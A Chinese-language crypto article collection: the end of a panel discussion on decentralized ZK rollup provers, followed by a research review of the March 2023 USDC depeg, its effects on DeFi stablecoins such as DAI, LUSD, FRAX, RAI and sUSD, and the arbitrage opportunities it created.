block中充满垃圾信息，而Prover必须花费真正的计算资源证明它们，但却没有实际收入。因此，我们将使用Permissioned Proposer，让任何去中心化的Prover提交区块，并得到相应的奖励，这个很重要。另外，如果系统出现故障，一个Prover提交了有效性证明，同时也出现了一个不一致的证明被提交，那么智能合约就可以知道并且暂停。它会识别到为什么有两个正确的有效性证明在不同的块上？出现这种情况立即暂停，也就引发了时间延迟。如Alex所说，我们当前无法对完全无需许可、无需信任的实施感到放心，我们要努力实现平衡。 ?️ [Mikhail Komarov] 我们从一开始就考虑了这个问题。一些人最初的解决方案是自上而下的方法，例如决定创建Rollup，然后考虑去中心化的次序问题，比如先去中心化Sequencer。然后去中心化Prover，一环接一环。相比之下，我们采用了一种不同的方法，我们自下而上来解决问题。 我们首先建立了一个去中心化的Prover网络，来无需许可地汇集算力。然后我们试图在Prover网络的基础上添加Sequencer，因为Sequencer必须和Prover网络紧密结合，特别是与成熟的去中心化Prover网络。这里涉及到需要支付额外的证明费用，通信的复杂性等问题，所以Sequencer必须紧密结合Prover网络，以确保其有效性。我们所开发的系统可以作为ZK Rollup的底层基建。 为了确保所有的证明生成都有一个激励机制来加速完成，并提高质量和保持安全性，我们引入了证明市场（Proof market）来管理所有证明的生成和排序。同时，我们保持了这个系统的去中心化和无需许可性。这种方法是从底层解决问题，而不是从顶层解决问题。 ?️ [Brian R] 我认为我们采取的方法，与其他网络有很大的不同。类似于Nil团队正在建立的证明市场（Proof market），但是我们采用了一种更无需信任的方式。我们当前没有关注Sequencing的问题，而是关注在证明系统上，让它能够更加强健地进行各种运算。这种方法简化了很多复杂性，有利于尽快将最多的计算量投入市场。 我们希望降低开发人员的使用门槛，让他们在以太坊或任何系统上建立任何他们想要的应用程序，并拥有这个去中心化的基础计算层，用零知识证明来保证计算的正确性。 ?️ Q5. 观众：在Algorand中，出现了一种名为State Painting的技术。它的基本思想是从一个共识区块链中提取状态，并将其“Paint”到另一个共识区块链上。这种技术更像是一种跨链方案，同时运用到了零知识证明的方案。那在Layer2中，系统共识其实依赖于Layer1的共识，这样是否会降低Layer2的安全性？ ?️ [Alex Gluchowski] 在ZK Rollups的实施中，Layer1和Layer2的之间的资产流动是完全无需信任的，Layer2完全承接了Layer1的安全性。关于资产在Layer2之间的转移，如果你是通过以太坊Layer1的原生桥接，那么它也是完全无信任的。但是，如果没有通过Layer1，其安全性取决于通过哪种跨链方式实现桥接。 在zkSync中，我们正在实现一种被称为Hyperchain的方案。具体而言，我们将建立多个由相同电路驱动的链，这些链仍然通过以太坊上进行桥接。Hyperchain将提供免费的、完全无信任的、非常便宜的交易，可以从任何链到任何其他链。当我们谈论将数亿甚至数十亿的用户引入区块链时，这一点非常重要。 在未来，我们不可能让数以万亿的交易都运行在一个单一的系统或共识上。它们将不得不在许多不同的共识系统上运行，比如分片、独立的应用链等。但同时我们需要保证这些不同链之间的可连接和通信的低成本。 打个比方，就像我们今天使用不同系统的电子邮件，用户可以轻松地完成不同电子邮件系统之间的通信。这就是我们希望通过Hyperchain实现的东西。除了完美地承接Layer1的安全性，高效且无需信任的跨链通信，Hyperchain还可以通过递归证明来实现使用的超低成本。  ( 5 min )
    万字复盘USDC脱锚风波：DeFi生态巨震中的危与机
    原文：《「Trend Research by LD Capital」复盘USDC脱锚风波中的危与机》 本文将探讨在 USDC 脱锚危机中，受影响最大的借贷、交易类协议、去中心化稳定币系统的表现，以及潜在的交易机会。 USDC 是一种与美元挂钩的中心化稳定币，由 Circle 和 Coinbase 发行。2023 年 3 月 11 日，由于硅谷银行（SVB）申请破产，导致 Circle 在该银行的部分现金储备被冻结，引发市场对 USDC 的信任度下降，出现大规模挤兑和抛售。USDC 的价格从 1 美元跌至 0.878 美元，与其他稳定币如 DAI 和 BUSD 也出现了较大的价差。随后，在 3 月 13 日，由于美联储、财政部、FDIC 联合救市计划的出台市场恐慌逐渐消散，USDC 价格又回到了接近往常水平。 图：USDC 脱锚危机重要事件和稳定币赛道相关代币价格走势 来源：Trend Research，Tradingview 为了解决这一危机，Circle采取了以下措施： 在整个USDC脱锚过程中，引发了加密货币市场的恐慌和波动，影响投资者信心和交易活跃度。其中，中心化稳定币市场、去中心化稳定币、链上借贷、DEX 等赛道项目都遭遇了一定的风险：   对稳定币系统的影响和机会 Synthetix Synthetix 于 2018 年上线，早期为合成资产协议，后逐步转型为在以太坊和 Optimistic 上构建的去中心化流动性供应协议。 用户质押协议治理代币 SNX 可以生成稳定币 sUSD，sUSD 的规模目前约为 5500 万美元。SNX 铸造 sUSD 的抵押率是 400%，清算线则是 160%。这是一个比较高的抵押率，资金利用效率低。不得不如此的主要原因是考虑到 SNX 属于协议自身的治理代币，价格波动幅度较大，较高的抵押率可以应对市场极端风险，维持系统的稳定。 sUSD 通过套利机制维持价格锚定。sUSD 的铸造价格始终为 1 美元，当市场价格高于铸造价格时，套利者可以铸造新的 sUSD，按照市场价格卖出获利，市场供应增加，价格回落。当市场价格低于铸造价格时，套利者可以从市场买回 sUSD，然后销毁 sUSD，降低债务。 sUSD 的应用场景建立在 SNX 质押形成的“债务池”基础之上。债务池是 synthetix 独有的机制。所有质押 SNX 铸造 sUSD 的用户共用一个债务池。当用户铸造 sUSD 时，铸造出来的 sUSD 的数量占所有 sUSD 的数量就是用户在整个债务池的比例，所有被铸造的 sUSD 就是整个系统的债务。如果某用户的投资策略实现资产升值（如 sUSD 购买 sETH，sETH 价格上涨）就会导致其他用户的债务增加。 债务池可以提供流动性，零滑点，可充当交易对手方，为各类协议提供流动性服务，具有较好的可组合性。 在这个债务池的基础上，SNX 建立自己的生态。Synthetix 不直接提供任何前端，而是充当一些 DeFi 协议的后端流动性提供者。目前的生态包括 Curve、合约交易所 Kwenta、期权交易所 Lyra 等。 sUSD 有自身较为稳定的应用场景。近期，Kwenta 的交易数据和收入数据有较大幅度的增长。 在这次 USDC 的恐慌中，sUSD 的底层资产虽然没有 USDC，但是价格也受到了一定的影响。最低跌至 0.96 附近。不过，很快被套利者扳平回水。相关的恐慌性抛售主要受到情绪面主导，因为 Synthetix 系统并不对 USDC 具有直接的风险曝露，而且同期非 sUSD 类合成资产价格下跌其实会让 sUSD 铸造人的负债（爆仓风险）下降，所以 sUSD 比起其它资产负债表上大量 USDC 的稳定币项目来说，回锚的确定性更高。 图：sUSD 与 USDC 价格对比 来源：Trend Research，CMC 此外，此时理论上还在存在系统内套利机会，例如在二级市场上以 0.95 美元的价格购买 sUSD，在 Synthetix 系统中用 sUSD 兑换其他合成资产，比如 sETH，按照 1:1 的比率，在二级市场上以高于 0.95 美元的价格出售 sETH，在摩擦成本足够低的情况下可获得套利收益。 Synthetix 正在进行 V3 版本的修改。在 V3 中，将新增质押资产的种类，除了 SNX 之外，ETH 等其他加密代币也可以质押生成 sUSD。此前，sUSD 的规模受到 SNX 市值的限制，V3 版本实施后，将不再受限于此，sUSD 的可扩展性增强。随着流入 Optimistic 的资金增长，有望可以建立更为丰富的生态，获取更大的市场规模。 MakerDAO 是于 2014 年在以太坊上搭建的智能合约系统，采用 DAO（去中心化自治组织）的形式发行与美元保持 1:1 锚定的去中心化稳定币 DAI。 协议通过抵押多种类型的加密资产，并按照一定的抵押比率发行稳定币 DAI，本质上是一种无需信任的超额抵押借贷。当抵押品价值低于最低抵押比率（150%）的时候，用户的抵押品就有可能被清算（强制出售抵押品还 DAI），从而最大程度保证 Maker 系统不会出现债务缺口。 DAI 被设计的目标就是将加密货币的波动性降至最低，但是市场行为往往会导致 DAI 与初始设计的 1 美元价格偏离，因此，Maker 系统的主要目标就是维持 DAI的价格稳定。 Maker 系统调控 DAI 价格的手段之一就是调整稳定利率。因为稳定利率代表着用户借DAI所需支付的借款利率，通过增加或者降低借款利率从而影响用户的借贷行为。但是稳定利率的调整由 MKR 持有者通过投票更改，治理周期比较长，所以价格调控周期也会拉长。而且，DAI 面临的实际市场情况是，随着ETH的上涨，DAI 的需求会下降，而随着ETH的下跌，DAI的需求会上升，但是市场供应规则却是相反的。 因此，为了解决上述两个问题，Maker 设计了锚定稳定模块（PSM）。PSM 的首次实现是 USDC PSM，就是用户存入 USDC 可以 按照1:1 汇率兑出 DAI，交易费用只需0.1%。该模块是基于 DAI 固定价格的货币互换协议，类似具有一定额度的刚性兑付，可以为 DAI 的价格提供双边缓冲保护。 PSM 在很大程度上解决了 DAI 价格的稳定性问题，而且可以让 Maker 系统无需频繁地调控其借款利率，保证借款人借贷成本的可控性。PSM 的资金规模扩张十分迅速，导致 USDC成为 DAI 最大的抵押品来源。而恰恰也正是这丝滑的兑换机制，使得在这次恐慌事件中USDC 迅速向PSM 中倾销。目前USDC PSM 铸 DAI 额度已达到债务上限，其它波动性较大的资产（例如MATIC）发生比较大程度的赎回，因此USDC PSM产DAI的占比从40%上升至现在的62%。 图：MakerDAO锁定资产价值以及产生的 DAI 债务占比 来源：Trend Research，Daistas.com MakerDAO的DAI经历了多次市场危机，但主要类型分为两种： 2020年3月12日，以太坊的价格在一天之内暴跌了43%，导致许多使用以太坊等加密货币作为抵押品生成DAI的用户（称为Maker Vault）出现了严重的欠缺。这些欠缺的Vault被强制清算，其抵押品被拍卖出去以偿还债务和罚金。然而，由于市场恐慌、网络拥堵和系统故障等原因，部分拍卖出现了零出价的情况，即有人用0 DAI就赢得了大量的抵押品。这导致MakerDAO系统损失了约540万DAI，并且DAI的供应量大幅减少。 由于DAI的需求远远超过了供应，DAI与美元之间的锚定关系遭到破坏，DAI出现了高达10%左右的溢价，此时做空DAI等待其价格回归甚至进一步下探的风险收益比非常高。 即这次历史上首次USDC脱锚危机，对于DAI系统来说是一个巨大的风险，因为当前DAI有一半是由USDC作为抵押品生成的。如果USDC失去了锚定，那么DAI也会受到影响，导致其价格波动或者无法赎回。为了防止这种情况发生，MakerDAO社区通过了一系列紧急提案，将包括USDC在内的几个流动性池的债务上限降低到零DAI，意味着它们不能继续发行新的代币。 此外，在所谓的“稳定模块”（PSM）中暴露于USDC风险的部分，每日发行限额从9.5亿DAI降低到只有2.5亿DAI，同时把手续费从0 提升至1%。 USDC铸造DAI并非超额抵押，所以无法进行Vault 清算。如果USDC的价格低于1美元，那么使用USDC作为抵押品生成DAI的用户就会出现欠缺，即他们需要支付更多的DAI才能赎回他们的USDC。这样一来，他们就会面临损失或者无法退出的风险，并且整个系统有可能能瘫痪，所以有可能出现再次拍卖系统治理代币$MKR来弥补亏空的风险，这也是为什么危机期间$MKR价格一度重挫30%以上，但随后USDC危机解除后，$MKR价格快速反弹至危机之前的水平。 图：USDC 和 MKR 在脱锚危机期间价格变化 来源：Trend Research，Tradingview 除了 MKR 的价值修复的交易机会，DAI 本身价格也存在交易机会。因为 DAI 背后资产的综合抵押率在大部分时候高于 150%，所以 DAI 可以理解成加强版的USDC，其在价格低于USDC的时候，以及确认USDC风险消除之后，价格应该出现更快的反弹，下图可以看到在11号危机逐渐被市场消化之际，DAI的价格始终小幅高于USDC。 图：DAI 和 MKR 在脱锚危机期间价格变化 来源：Trend Research，Tradingview 另外值得注意的是，在本次危机中，稳定币铸造模块 PSM 大量涌入 9.5 亿 USDC，而未出风险的 GUSD 存款大幅流出，其它抵押物池子或多或少都有流出，显示出“劣币驱逐良币”的效应，如何应对类似结构性风险，值得更多关注和讨论。 Liquity 于2021年4月上线，是一个基于以太坊的去中心化稳定币借贷平台，用户可以且只能通过抵押ETH生成锚定美元的稳定币LUSD。Liquity不收取借款利息，只收取一次性的铸造费和赎回费，鼓励用户长期持有LUSD。Liquity由智能合约管理，协议部署后无法修改，不负责运行前端，用户交互需要通过第三方前端，具有强去中心化和抗审查的特点。 目前 $LUSD 发行量约为 243m，TVL $572m，ETH 质押数量 388k，总抵押率为 235.1%。 Liquity 的最低抵押率为 110%，低于 150% 时进入恢复模式，低于 110% 时触发清算。在恢复模式下，抵押率低于150%的金库也可能被清算，系统禁止进一步降低总抵押率的行为。恢复模式的目的是将系统的整体抵押率迅速提升至150%以上，以降低系统风险。 Liquity采取了分级清算机制以维持系统稳定。稳定池通过流动性挖矿激励用户存储LUSD，并在清算时销毁债务并获得ETH。当稳定池耗尽时，系统会进行债务再分配，将剩余待清算的债务和ETH按比例分配给其他金库持有者身上。 稳定池提供者和前端运营者可以获得治理代币LQTY奖励。LQTY代表了对协议收益（铸造费和赎回费）和治理权利（投票权）的索取权。 当LUSD价格低于1美元时，用户可以从市场上低价买入LUSD，然后赎回ETH并获利。当LUSD价格高于1美元时（例如1.1），用户可以抵押ETH铸造LUSD，然后在市场上高价卖出LUSD并获利。这样，LUSD的价格会在（1-赎回费， 1.1）之间波动，并趋向于1美元。这是LUSD的硬锚定机制。同时，由于用户可以随时以1美元的价格铸造和销毁LUSD，用户会形成一个心理预期（谢林点），认为1 LUSD = 1 USD。 图：LUSD的锚定机制 来源：Trend Research，Liquity 2021年5月19日，ETH 价格一度从 3400 美元迅速下跌至1800 美元，有超过300个地址被清算，Liquity启动了2次恢复模式，但因恢复太快（抵押率在跌破150%后迅速回归）导致dune数据没有捕捉到。期间总计93.5M LUSD债务被清算，同时48668个ETH分配给了稳定池的存款人，以上清算均由稳定池完成，稳定池的参与者相当于折价超底了ETH，以上过程并没有触发再分配模式，这一压力测试证明了Liquity模型的稳健。 图：Liquity系统抵押率变化TCR=Total Collateral Ratio 来源：Trend Research，Dune 在这次USDC的恐慌中，LUSD亦有出现波动，最低0.96，最高1.03，较短时间内被套利者扳平至正常回水。具体的，用户可以在二级市场上以0.96美元的价格购买LUSD，归还liquity系统中的LUSD借款以赎回抵押物ETH，由于此时liquity系统中lusd的定价始终保持1美元，用户可赎回的ETH资产价值大于二级市场购买的LUSD价值实现套利。 来源：Trend Research，Dune 市场出现危机的情况时LUSD的上涨的原因是，一部分用户为避免被清算需要偿还LUSD平仓，已有用户会有动机将LUSD存入stability pool希望以较低成本获得被清算的折价ETH，这两部分都构成了对LUSD的需求。此外从LUSD对USDC流动性池中慌忙出逃的USDC持有者也帮助被动拉升了LUSD价格。 USDC的恐慌当日由于价格波动产生套利机会，lusd mint与burn数量出现明显上升，新增mint数量21.98m，销毁burn数量11.22m，lusd supply净增加值约10m，约占当日lusd总供应量的4%，因此带来3月11日协议收入大幅上升，铸造过程获得37.7万lusd，赎回过程获得97.4个ETH，该部分收入全额归属于LQTY stakers，造成LQTY收益率短期大幅上升。同时观察到usdc恐慌提升了市场对强去中心化稳定币lusd的关注，lusd供应量和trove数量呈上升趋势，3月11日至16日共lusd总供应量增长约12%。 图：Lusd铸造销毁、协议保险收入、赎回收入 来源：Trend Research，Dune Reflexer Reflexer是一个超额抵押去中心化稳定币平台，用户可以用ETH抵押生成 RAI，一种不锚定任何法币或资产的稳定币。 RAI的赎回价格由市场供需和一个基于PID控制器的算法自动调节，以实现低波动性。用户超额抵押ETH生成RAI，付2%年利息，偿还RAI可以赎回ETH，清算线145%，但目前超额抵押率在300%-400%。Reflexer有三重清算机制来保障系统安全，并收取2%的稳定费作为盈余缓冲。FLX是Reflexer的治理代币，也是系统最后贷款人。 市场供需失衡时，Reflexer 会主动调整 RAI 赎回价格，通过激励用户套利引导市场价格回到赎回价格。RAI 系统采用一套基于 PID 控制（比例-积分-微分控制器）的机制，使用一系列参数来调整上述的控制过程。 当某用户的抵押品价值相对借出物价值低于某个阈值时，就会触发清算。清算人通过固定折扣拍卖获得被清算者的ETH抵押品，并替被清算者偿还RAI债务。当盈余缓冲不足够处理坏账时，协议会进入“债务拍卖”流程，系统增发 FLX，在市场上换取 RAI 完成债务处理。 Reflexer 收取的 2% 稳定费进行如下三种分配：Stability fee treasury 智能合约、FLX stakers 和 Buyback and burn。 RAI 的用例 即 reflexer 的赎回价格会根据市场对RAI的需求进行算法调整，当市场价格高于赎回价格时，用户会选择抵押 ETH 并借出 RAI，再到市场上卖出。 其他用例包括 Stacked funding rates；Yield aggregator- leverage positive/negative redemption rate（赎回利率为正时，可以去借贷协议上优化收益）以及Sophisicated arbers套利工具。 总的来说，Reflexer 拥有完全去中心化，最终走向无治理，抵押物不锚定法币机制较为稀缺，vitalik 有积极评论, 有以太坊社区支持等优点；同时缺少被动需求和用例，目前超额抵押率在300%-400%(357%)，资金效率低，代币价值捕获低,用于激励的代币不足（预留用于激励的FLX后续用来推广用例的激励可能不足）是Reflexer目前的缺陷。 本次危机中，Vitalik 铸造 RAI 购买力 USDC 和 USDT，似乎是对 ETH 做抵押的完全去中心化（非锚定法币）稳定币的一种认可，但由于没有固定锚定的价格， RAI 又是天生不稳定的“稳定币”，对 Reflexer 来说，RAI 目前依旧很难获得主流用户的使用。 另外，Vitalik 在今年 1 月对 Reflexer 的抵押机制提出了改善建议，他认为，ETH holder 需要更多激励在 Reflexer 平台上超额抵押 ETH 借出 RAI，因为质押 ETH 可以获得无风险的 5% 奖励，而在 Reflexer 获得的 redemption rate 的这部分套利浮动收益在没有超过 5% 很多的情况下，不具有很大的吸引力。但社区出于额外一层合约风险的考虑目前否定了使用质押ETH作为抵押物的建议。 Celo是一个主打移动端开源支付网络，其主网于2020年4月正式上线，网络结合了PoS共识机制、兼容EVM等特点，为用户构建了多种DeFi服务，同时还包括以稳定币作为汇款、跨境支付等交易媒介、支持多种代币支付Gas费、将电话号码映射到钱包地址以简化转账操作等。并且推出其链上稳定币CUSD、CEUR和CREAL。 Celo的稳定币机制为：用户可以向官方的Mento池中发送1美元价值的Celo，获得1美元的cUSD等稳定币，也可以反向向Mento发送1美元价值的cUSD，换回1美元的Celo。在这种机制下，当cUSD市价低于1美元，就会有人低价买入cUSD去换得1美元Celo，同理当cUSD高于1美元时，就会有人用Celo铸造cUSD去卖出，套利者的存在会保证cUSD不会偏离其锚定价格太远。目前稳定币背后的储备池为CELO（8,190万美元）、ETH（4,889万美元）和BTC（791万美元）： 来源：Trend Research，Defillama Celo机制和LUNA与UST的机制区别在于：Cusd、cEUR、cREAL的资金背书除了CELO代币外还有ETH和BTC，所以当CELO代币价格发生大幅度波动时，只要存储池的ETH和BTC的资产规模能大于稳定币的流通市值，仍然是超额抵押的方式，那么这些稳定币理论就不存在脱锚的风险。当然，若CELO的市值快速缩减，导致存储池中以太坊和BTC的市值无法覆盖稳定币的流通市值，那么稳定币就会存在脱锚的可能性。 所以，只要Celo不发生超过50%的跌幅，稳定币脱锚的可能性较低。而以后若稳定币的规模持续增长，而存储池中的BTC和ETH的规模没有随着增加的话，其脱锚的风险会增加的。 CUSD的历史波动情况，除了去年FTX暴雷所导致的市场恐慌外，整体情况出现较大脱锚的情况，多数时间都处于1美元以上： 来源：Trend Research，CMC 总体上，对于CELO的稳定币机制，外部环境可影响的因素并不多，核心在于储备池中ETH和BTC的资产规模情况。此次USDC的脱锚对于CUSD也没有直接影响，并且因为目前CUSD主要是流通与Celo链上，和USDC关联度较低。 FRAX 稳定币系统于2020年12月上线，目前为v2版本，核心机制为 AMO（算法市场操作控制器）。 FRAX 代币最初设计为：由 100% USDC 作为抵押物，随后混合 USDC 和 FXS 作为抵押物，不断降低 USDC 的质押比重。 2023 年 2 月，社区投票通过了“将抵押率永久性定为 100%”的提案，将暂停 FXS 回购直至协议收入足够将质押率提高至 100%，目前协议质押率仍保持在 92%。此外，Frax Finance 在 2022 年 9 月推出借贷市场 Fraxlend，支持用户抵押资产借出 FRAX，这部分 FRAX 为超额抵押，机制与 MakerDAO 相似。差异点在于持有 FRAX 的用户可以在借款池中存入 FRAX，赚取借款费用。 AMO 旨在不降低抵押比率或改变 FRAX 价格的前提下，任意制定 FRAX 货币政策以及将储备资产进行投资，提高资本效率，为 FXS 持有者带来更多价值捕获。在启动 AMO 机制后，稳定币规模扩张主要由 AMO 控制，目前核心 AMO 池子为 Liquidity AMOs（多链DEX提供流动性）、Lending AMOs（借贷池）、investor AMOs（投资）、Curve AMO（Curve生态）。其中协议控制 FRAX 代币总量将近 8 亿枚。 图：存量 FRAX 分布 来源：facts.frax.finance 在本次 USDC 事件中，FRAX 价格受到较大冲击，价格最低跌至 $0.87。主要原因是： Frax Finance团队在本次事件中没有公开的补救措施，但团队在社区中表示长远计划是通过开设FMA）解决这一类风险问题。 由于抵押品为稳定币且未来抵押率逐渐上涨为100%，因此无法提高用户的资金效率。FRAX主要生态合作为Curve 和Convex，目前市场上缺少其他FRAX应用场景。总体来看，市场对FRAX需求不高。 由于FRAX代币在其他dapp上的应用并不广泛，因此主要套利行为发生在Fraxlend上，即已在Fraxlend中借出FRAX代币的用户可在市场上折价购买FRAX提前偿还借款。 图：FRAX和USDC价格在脱锚危机前后端变化 来源：Trend Research，CMC 不过由于抵押物危机带来的不确定性，其治理代币在危机期间也遭遇抛售跌幅超过20%，抛售的原因可能与MKR代币类似，存在潜在的系统失衡和代币增发补窟窿的风险。不过当USDC危机解除以后 FXS 的价格与MKR一样出现了40%以上的快速反弹。 图：治理代币FXS和USDC价格在脱锚危机前后端变化 来源：Trend Research，Tradingview 此外，Frax 系统带有ETH 2.0流动性质押服务，在市场动荡之际，由于抢跑交易的增多，3月10日前后的节点收入大增了五倍以上。 图：frxETH节点收入。蓝色是基础奖励，绿色是手续费‘打赏’收入 来源：Trend Research,facts.frax.finance/frxeth 例如，3月10日一个USDC用户将所持有的200万USDC在链上兑换成USDT时，却因未设置滑点，意外地被一个MEV机器人在支付了45美元Gas费和3.9万美元的MEV贿赂金后净赚了204.5万美元的利润，而该用户交易了208万枚USDC却仅收到了0.05枚USDT。 Aave 是一个通用借贷协议，支持多种加密资产之间的任意互借，其团队在2022年7月宣布要发行稳定币 GHO 的计划，GHO 的整体生成机制与 DAI 比较相似，都是基于超额抵押借贷维持与美元的 1:1 锚定，核心逻辑是用户将所支持的抵押品类型存入金库，按照一定抵押比率获得稳定币 GHO。在偿还或清算之后，这部分的稳定币将会被销毁。 Aave 推出稳定币的业务主要是为了获取更多收入，因为稳定币的铸币费用通常高于通用借贷业务所获的借贷息差收入，可以为 Aave 捕获额外的收益。并且，这部分的收入会直接流入 Aave 的Treasury 中。 Aave 目前的借贷业务基本比较成熟，相对其它较新的协议推广稳定币的难度，Aave 有一定的市场信用背书。其次，Aave 现在的协议版本已经迭代到V3，V3 升级计划现在还未完全部署完成，V3 对稳定币的应用用例也会有比较大的助力。 尚未完成的计划之一是关于高效借贷市场（e-Mode），即允许相同类型的抵押品以更高的 LTV 进行借贷。首先是 ETH 类（WETH、wstETH）资产间可实现90%的 LTV 借贷，即原来抵押价值 $2,000 WETH 最多可借出 $1,600 wstETH，现在 $2,000 WETH可借出最多 $1,800 wstETH，资金利用效率更高。下一步将要实现稳定币类资产间的 e-Mod 借贷（L2已部署，以太坊主网还未部署），LTV 或可达93%。这个实现对稳定币类资产的资金使用效率有非常大的提升，未来在推出 GHO 之后，对稳定 GHO 的价格和推广采用也有着积极的作用，但是与 MakerDAO PSM 面临同样的问题，就是模块内中心化稳定币面临的监管问题。 尚未完成的计划之二是跨链部署。Aave 目前虽已在多条链上进行已部署，并且保持着头部 DeFi 借贷协议的优势，但是并未实现真正的流动性跨链。Aave V3 跨链部署实施之后，对于 GHO 的规模扩张也会有一定的优势。Aave V3 「门户」功能允许资产通过不同网络在 V3 市场之间无缝流动，即通过白名单跨链桥协议在目标链上铸造 Aave 的「aTokens」，并在源链上销毁，以达到流动性从源链转移到目标链的目的。 图：各个链上 Top Protocols 来源：Trend Research，defillama.com 现在针对 V3 跨链门户白名单提案已投票通过，Aave 将利用跨链互操作协议 Wormhole的通用消息传递进行源链和目标链之间的通信，以及 Hashflow 的跨链 DEX 从做市商那里获取报价，并以零滑点和 MEV 保护执行交易。 Curve 在 2022 年 10 月发布其协议稳定币的白皮书，推出其稳定币 Curve.Fi USD Stablecoin，简称 crvUSD。Curve 设计了一个具备持续清算和买入的抵押品 LLAMMA 模型，用户可以在 LLAMMA 中超额抵押铸造 crvUSD，并可避免用户的资产被一次性清算的风险，同时结合 Pegkeepers 的自动增发和销毁机制，来稳定 crvUSD 在市场中供需关系。 目前 crvUSD 还未正式上线，但若未来发生主流稳定币如 USDC 再次脱锚，依靠其目前公布的设计机制，可能出现的情况下，如下（假设USDC再次脱锚）： 1）理论上 crvUSD 是由主流资产 ETH、BTC 等超额抵押铸造，所以若主流稳定币发生脱锚，而抵押品资产价格未收影响的情况下，理论上 crvUSD 不存在直接价值波动； 2）虽然crvUSD是以超额抵押的方式铸造，但其价格的稳定仍然依靠于市场流动池的流动性深度，作为Curve的官方稳定币，未来crvUSD进入3pool池的可能很大。并Curve团队持有大量的veCRV，早期内可以给与crvUSD大额的流动性激励，所以，早期冷启动应该会较为顺利。 而若当 crvUSD 与 USDC、USDT 都处于 3pool 池中，而USDC发生脱锚时，用户处于避险情绪，可能会将大量的USDC转换成USDT和crvCRV，那么短期内crvUSD的价格可能会超过1美元。而pegkeeper为了维持crvUSD的稳定，会增发大量crvUSD投放到流动池中，将价格恢复。所以，相对其他稳定币，crvUSD的机制可能不适合进行滑点套利，因为pegKeeper自动增发的功能，会迅速磨平用户的套利空间； 3）若因为主流稳定币发生大额脱锚，导致市场恐慌情绪很重，导致加密市场发生大量清算，包括LLAMMA也开始清算，将用户抵押品兑换成crvUSD，并且因为情绪恐慌，让crvUSD也开始出现价格脱锚，那么若用户相信pegkeeper具备存在资金在市场买入crvUSD来销毁，以此让价格重新恢复，即当crvUSD低于1美元时，是存在潜在的套利机会的； 4）由于 LLAMMA 仍然是 AMM 式的机制，所以可能会由存在稳定币和抵押品组成的LP存在清算池中，当币价来回波动时，一方面，用户的资产由于持续清算和买入会造成磨损，该摩擦成本对于抵押者而言较难避免。另一方面，提供LP的用户有可能会从持续清算的过程获得一定交易费用补贴，特别是链上发生大额清算时，短期内LLAMMA的交易量可能被拉升，而这些大额交易所产生的费用有50%的比例可能会给到LP。 以上 4 点均是基于现有 Curve 所公布机制进行推论，且此次 crvUSD 并未接收市场检验，正式效果仍然需上线后才能得知。 图：当前规模最大的四种稳定币以及TUSD在USDC脱锚后价格变化 市场规模最大的 USDT 在本次 USDC 脱锚事件中，依旧成为资金出逃的第一选择，价格表现最坚挺，涨幅甚至一度超过 1%。由于 DAI 的抵押品接近 50% 为USDC，伴随 USDC 的市场价格的不断下跌，DAI 的价格也出现严重脱锚，但是跌幅小于 USDC。 BUSD 以及 Binance 最近不断增加交易对的 TUSD 价格表现相对稳定，并未出现大于 1% 的价格波动。 协议: MakerDao 日期: 2023.03.12 应对措施: MakerDAO 社区通过「紧急参数变更」提案投票，将于 3 月 14 日执行。 该提案内容包括：将 UNIV2USDCETH-A、UNIV2DAIUSDC-A、GUNIV3DAIUSDC1-A、GUNIV3DAIUSDC2-A 债务上限减少为 0 DAI；将 PSM-USDP-A 最大债务上限从 4.5 亿枚 DAI 增加到 10 亿枚 DAI；在 USDC-PSM 中，将 USDC → DAI 交换费（tin）增加到 1%，将最大日铸造量（gap）减少至 2.5 亿枚 DAI；在 USDP-PSM 中，将 USDP → DAI 交换费（tin）减少到 0%，将 DAI → USDP 交换费（tout）增加到 1%，将最大日铸造量（gap）增加至 2.5 亿枚 DAI；在 GUSD-PSM 中，将最大日铸造量（gap）减少至 1000 万枚 DAI；将 Compound v2 D3M 与 Aave v2 D3M 目标借贷利率（bar）减少至 0%，以消除敞口；最后，该提案决定将 GSM 暂停延迟从 48 小时减少至 16 小时，提高治理决策敏捷性，此更改是一项临时更改，将在情况允许时再次增加 GSM 暂停延迟。 协议: Aave 日期: 2023.03.12 应对措施: Aave发推特称已迅速采取必要行动来限制风险。鉴于当前围绕稳定币的波动性，Aave DAO 在 Aave v3 Avalanche 上冻结了USDC、USDT、DAI、FRAX 和 MAI，从而来防止新头寸给协议增加风险，即LTV-0。 协议: Compound 日期: 2023.03.11 应对措施: Compound v2 已禁用 USDC 存款。Compound 在推特上表示，由于 USDC 的价格波动，Compound v2 Pause Guardian 暂时禁用了 Compound v2 中的 USDC 存款功能，用户仍可正常借、还、提取 USDC。此外，Compound v3 具有升级的风险引擎，所以运行没有任何问题。 协议: Compound 日期: 2023.03.12 应对措施: Compound社区发起新的提案，提案内容为恢复在 Compound v2 中铸造 cUSDC。投票将在两天后开始。 协议: dYdX 日期: 2023.03.11 应对措施: dYdX平台上 USDC 将以实际价值计价，不强制锚定 1 美元。dYdX 在推特上表示，平台上 USDC 将以实际价值计价，不会强制将 USDC 锚定 1 美元。dYdX 称，如果发生 USDC 贬值，所有以 USDC 支付的头寸、抵押品和资金都会以 USDC 实际美元价值计价。交易商不会因 USDC 价格变化而被清算，交易者将以 USDC 的实际价值进行支付。 在本次USDC脱锚事件中，除了大批人“跑毒”减少损失，还有一批对主流DeFi项目机制理解深刻的套利者。核心是利用项目对USDC价值固定锚定1美元，用低于1美元的USDC兑换更高价值的其他稳定币或者数字货币，成功获利。本次事件也会对当前以及未来发行的项目带来思考，所有交易标的的价格是否可以用固定价值来取代市场实际价值。接下来展示几个案例供参考。 PSM（Peg Stability Module）是帮助维持DAI价格稳定性的一种机制，PSM允许用户将其他代币兑换为DAI时不需要通过拍卖，而是通过固定汇率进行计算。USDP为 PAXOS发行稳定币，并未在本次银行兑付危机中被波及。在 USDC以及DAI发生折价时，利用PSM的价格机制：1 USDC= 1USDP 进行套利。 套利路径：使用资产在AAVE借贷USDC，然后在PSM将USDC 1:1 兑换为USDP，当USDC价格下跌幅度扩大，将USDP兑换为USDC，同时还掉USDC借款，剩余USDC为净利润。从下图中可以看到在USDC脱锚危机，USDC的大幅流入的同时，GUSD和USDP快速流出，USDP的存量一度几乎归零。 图：Maker系统三种稳定币抵押物在USDC脱锚期间变化情况 Curve 由于Curve价格曲线公式是为稳定币提供交易的，大额稳定币之间交换具有更低的滑点。这个模型在用于非稳定币时，对比UNI会在当前盘口位置提供更大的交易深度，从而和其他市场产生了价差，Curve的USDC/USDT价格 > UNI的USDC/USDT价格。 